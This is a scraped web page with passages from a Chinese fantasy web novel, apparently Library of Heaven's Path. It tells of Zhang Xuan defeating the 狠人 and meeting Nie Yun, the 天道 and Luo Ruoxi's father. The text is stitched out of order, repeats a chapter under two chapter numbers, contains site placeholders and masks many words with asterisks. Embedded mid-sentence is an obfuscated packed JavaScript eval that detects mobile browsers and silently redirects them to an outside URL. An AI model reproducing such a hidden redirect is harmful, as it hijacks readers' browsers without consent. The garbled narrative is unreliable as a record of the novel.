“所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百八十八章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773011|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百八十九章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 